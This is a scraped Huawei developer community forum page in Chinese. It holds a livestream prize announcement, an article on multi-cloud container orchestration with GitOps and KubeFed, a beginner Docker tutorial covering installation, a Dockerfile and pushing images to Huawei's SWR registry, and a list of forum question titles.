2、论坛提问赢取HDZ笔记本套盒直播前在本帖中留下感兴趣的问题,讲师会在直播的答疑环节,抽取3个问题,被选中的幸运用户可获得HDZ笔记本套盒。 3、直播结束后论坛互动帆布包抱回家直播结束后可继续在帖子内提问并发表心得体会。直播结束后一周将从所有的回复当中选出3个优质的互动互动。优质互动奖品为帆布包。中奖结果公布:问道、 linghz666、Hello Digger请以上中奖观众于1月3日前联系HDZ小助手(微信号:Huawei-HDZ)提供登录论坛的截图、联系方式和邮寄地址逾期视为放弃领奖资格直播期间,参与互动,还有机械键盘等多重好礼拿哦,大家千万不要错过哦~小马哥ppt新鲜出炉,请大家查收HDZ社区—携手全球开发者 共建开放、创新、多元的开发者社区组织       HDZ是Huawei Developer Zone的英文缩写,是华为开发者生态面向全球开发者建立开放、创新、多元的开发者社区组织。      致力于帮助开发者学习提升、互动交流、挖掘机会,推动ICT、互联网等产业生态的建立和发展。      对云计算、IoT、人工智能、5G、区块链、鲲鹏、昇腾、软件开发与运维、开源等各技术领域感兴趣的开发者、软件工程师、创业者、运营人、产品人、大学生、老师等都可以参与到HDZ。      HDZ秉承开放、创新、多元的社区文化,完全由各地HDZ组织者、志愿者自发组建和领导。华为公司不直接参与HDZ组织建设和领导,只按需对HDZ社区活动提供必要的方向指导、资源支持、活动支撑等,并为各地HDZ组织者提供与全国组织者互动交流的机会。
  • 大家聊的多云容器编排是什么
            企业生产环境容器集群规模爆发式增长,越来越多的企业核心业务切换到容器,容器技术栈需要应对的场景越来越复杂,对多云环境的容器编排能力提出了强烈诉求,主要的场景需求如下:        避免厂商锁定,应用可以灵活地部署在不同云供应商或本地IDC的集群中,不再依赖某一家云服务厂商;云上云下分离部署,部分核心业务部署在私有云环境,满足行业监管和数据安全要求,普通业务部署在公有云上,利用公有云强大的计算能力,同时节约成本;跨云部署实现容灾,在云服务商发生故障时可以快速切换到其他的云服务商或者混合云环境中去,实现业务的容灾管理;跨云弹性伸缩,利用公有云超大资源池应对短期流量高峰场景,大幅提高业务的承载能力。        当前多云容器编排的实现有两种主要实现方式:以GitOps 为媒介联通多云环境的Kubernetes 集群进行协作。GitOps 是一种持续交付的理念,其核心思想是将应用系统的声明性基础架构和应用程序存放在Git 库中进行版本控制。通过将GitOps 与Kubernetes 结合,利用自动交付流水线将更改的应用到指定的任意多个集群中。同时,还可通过工具将各集群环境上的实际状态与Git 库中的配置做比较,快速发现集群配置的非预期变更,并将其还原到预期的状态,以确保多集群环境配置的一致性,从而达到多云容器编排部署的目的。然而GitOps 方案目前只能解决跨云部署的配置一致性问题,而无法解决跨云应用容灾切换、跨云弹性伸缩等高阶业务场景诉求;通过集群联邦项目扩展资源类型实现跨集群编排调度。SIG-Federation 于2016年正式推出官方项目Federation,并在此基础上发展出了Kubefed项目。Kubefed 简化了Federated API 的扩展方式,并在跨集群服务发现和编排等方面做了增强。Kubefed 通过CRD(Custom ResourceDefinitions)机制来完成Federated Resources 的扩充。联邦控制器则管理这些CRD,负责把资源分发到不同的集群中,并通过ExternalDNS 等服务发现机制打通不同集群的应用访问与协同。KubeFed 遵循模块化与可定制的设计理念,并与 K8S 生态保持兼容性与扩展性,由此,基于KubeFed 的架构理论上可支持扩展解决各类多云场景的问题。来源:云原生产业联盟
  • [技术干货] 【转载】容器、Docker、虚拟机,别再傻傻分不清
     摘要:容器技术起源于Linux,是一种内核虚拟化技术,提供轻量级的虚拟化,以便隔离进程和资源。尽管容器技术已经出现很久,却是随着Docker的出现而变得广为人知。容器技术起源于Linux,是一种内核虚拟化技术,提供轻量级的虚拟化,以便隔离进程和资源。尽管容器技术已经出现很久,却是随着Docker的出现而变得广为人知。Docker是第一个使容器能在不同机器之间移植的系统。它不仅简化了打包应用的流程,也简化了打包应用的库和依赖,甚至整个操作系统的文件系统能被打包成一个简单的可移植的包,这个包可以被用来在任何其他运行Docker的机器上使用。容器和虚拟机具有相似的资源隔离和分配方式,容器虚拟化了操作系统而不是硬件,更加便携和高效。图1 容器 vs 虚拟机相比于使用虚拟机,容器有如下优点:更高效的利用系统资源由于容器不需要进行硬件虚拟以及运行完整操作系统等额外开销,容器对系统资源的利用率更高。无论是应用执行速度、内存损耗或者文件存储速度,都要比传统虚拟机技术更高效。因此,相比虚拟机技术,一个相同配置的主机,往往可以运行更多数量的应用。更快速的启动时间传统的虚拟机技术启动应用服务往往需要数分钟,而Docker容器应用,由于直接运行于宿主内核,无需启动完整的操作系统,因此可以做到秒级、甚至毫秒级的启动时间,大大节约了开发、测试、部署的时间。一致的运行环境开发过程中一个常见的问题是环境一致性问题。由于开发环境、测试环境、生产环境不一致,导致有些问题并未在开发过程中被发现。而Docker的镜像提供了除内核外完整的运行时环境,确保了应用运行环境一致性。更轻松的迁移由于Docker确保了执行环境的一致性,使得应用的迁移更加容易。Docker可以在很多平台上运行,无论是物理机、虚拟机,其运行结果是一致的。因此可以很轻易的将在一个平台上运行的应用,迁移到另一个平台上,而不用担心运行环境的变化导致应用无法正常运行的情况。更轻松的维护和扩展Docker使用的分层存储以及镜像的技术,使得应用重复部分的复用更为容易,也使得应用的维护更新更加简单,基于基础镜像进一步扩展镜像也变得非常简单。此外,Docker团队同各个开源项目团队一起维护了大批高质量的官方镜像,既可以直接在生产环境使用,又可以作为基础进一步定制,大大的降低了应用服务的镜像制作成本。Docker容器典型使用流程Docker容器有如下三个主要概念:镜像:Docker镜像里包含了已打包的应用程序及其所依赖的环境。它包含应用程序可用的文件系统和其他元数据,如镜像运行时的可执行文件路径。镜像仓库:Docker镜像仓库用于存放Docker镜像,以及促进不同人和不同电脑之间共享这些镜像。当编译镜像时,要么可以在编译它的电脑上运行,要么可以先上传镜像到一个镜像仓库,然后下载到另外一台电脑上并运行它。某些仓库是公开的,允许所有人从中拉取镜像,同时也有一些是私有的,仅部分人和机器可接入。容器:Docker容器通常是一个Linux容器,它基于Docker镜像被创建。一个运行中的容器是一个运行在Docker主机上的进程,但它和主机,以及所有运行在主机上的其他进程都是隔离的。这个进程也是资源受限的,意味着它只能访问和使用分配给它的资源(CPU、内存等)。典型的使用流程如图2所示:图2 Docker容器典型使用流程(1)首先开发者在开发环境机器上开发应用并制作镜像。Docker执行命令,构建镜像并存储在机器上。(2)开发者发送上传镜像命令。Docker收到命令后,将本地镜像上传到镜像仓库。(3)开发者向生产环境机器发送运行镜像命令。生产环境机器收到命令后,Docker会从镜像仓库拉取镜像到机器上,然后基于镜像运行容器。使用示例下面使用Docker将基于Nginx镜像打包一个容器镜像,并基于容器镜像运行应用,然后推送到容器镜像仓库。安装DockerDocker几乎支持在所有操作系统上安装,用户可以根据需要选择要安装的Docker版本。在Linux操作系统下,可以使用如下命令快速安装Docker。curl -fsSL get.docker.com -o get-docker.shsh get-docker.sh说明: CentOS 8.0操作系统使用上述脚本安装Docker会出现问题,建议使用如下命令安装较低版本Docker。 wget -O /etc/yum.repos.d/docker-ce.repo https://repo.huaweicloud.com/docker-ce/linux/centos/docker-ce.repo sudo sed -i 's+download.docker.com+repo.huaweicloud.com/docker-ce+' /etc/yum.repos.d/docker-ce.repo yum install docker-ce-18.06.3.ce -y systemctl restart docker Docker打包镜像 Docker提供了一种便捷的描述应用打包的方式,叫做Dockerfile,如下所示: # 使用官方提供的Nginx镜像作为基础镜像 FROM nginx:alpine   # 执行一条命令修改Nginx镜像index.html的内容 RUN echo "hello world" > /usr/share/nginx/html/index.html   # 允许外界访问容器的80端口 EXPOSE 80 执行docker build命令打包镜像。 docker build -t hello . 其中-t表示给镜像加一个标签,也就是给镜像取名,这里镜像名为hello。. 表示在当前目录下执行该打包命令。 执行docker images命令查看镜像,可以看到hello镜像已经创建成功。您还可以看到一个Nginx镜像,这个镜像是从镜像仓库下载下来的,作为hello镜像的基础镜像使用。 # docker images REPOSITORY          TAG                 IMAGE ID            CREATED             SIZE hello               latest              d120ec16dcea        17 minutes ago      158MB nginx               alpine              eeb27ee6b893        2 months ago        148MB 本地运行容器镜像 有了镜像后,您可以在本地执行docker run命令运行容器镜像。 # docker run -p 8080:80 hello docker run命令会启动一个容器,命令中-p是将本地机器的8080端口映射到容器的80端口,即本地机器的8080端口的流量会映射到容器的80端口,当您在本地机器访问 http://127.0.0.1:8080时,就会访问到容器中,此时浏览器中返回的内容应该就是“hello world”。 把镜像推送到镜像仓库 华为云提供了容器镜像服务SWR,您也可以将镜像上传到SWR,下面演示如何将镜像推送到SWR。详细的方法请参见客户端上传镜像,本文档后续的示例中将主要使用SWR作为示例。 首先登录SWR控制台,在左侧选择“我的镜像”,然后单击右侧“客户端上传镜像”,在弹出的窗口中单击“生成临时登录指令”,然后复制该指令在本地机器上执行,登录到SWR镜像仓库。 上传镜像前需要给镜像取一个完整的名称,如下所示: # docker tag hello swr.cn-east-3.myhuaweicloud.com/container/hello:v1 这里swr.cn-east-3.myhuaweicloud.com是仓库地址,每个华为云区域的地址不同,v1则是hello镜像分配的版本号。 swr.cn-east-3.myhuaweicloud.com是仓库地址,每个华为云区域的地址不同。 container是组织名,组织一般在SWR中创建,如果没有创建则首次上传的时候会自动创建,组织名在单个区域内全局唯一,需要选择合适的组织名称。 v1则是hello镜像分配的版本号。 然后执行docker push命令就可以将镜像上传到SWR。 # docker push swr.cn-east-3.myhuaweicloud.com/container/hello:v1 当需要使用该镜像时,使用docker pull命令拉取(下载)该命令即可。 # docker pull swr.cn-east-3.myhuaweicloud.com/container/hello:v1
  • [技术干货] 2020-09-09:裸写算法:两个线程轮流打印数字1-100。
    2020-09-09:裸写算法:两个线程轮流打印数字1-100。
  • [问题求助] 服务器如何配置docker
    如标题所示问题
  • [技术干货] 2020-09-07:Docker的四种网络类型?
    2020-09-07:Docker的四种网络类型?
  • [技术干货] 2020-09-06:Docker的命名空间有哪些?
    2020-09-06:Docker的命名空间有哪些?
  • [技术干货] 2020-08-27:OpenStack与Docker的区别?
    2020-08-27:OpenStack与Docker的区别?
  • [技术干货] 2020-08-27:OpenStack与Docker的区别?
    2020-08-27:OpenStack与Docker的区别?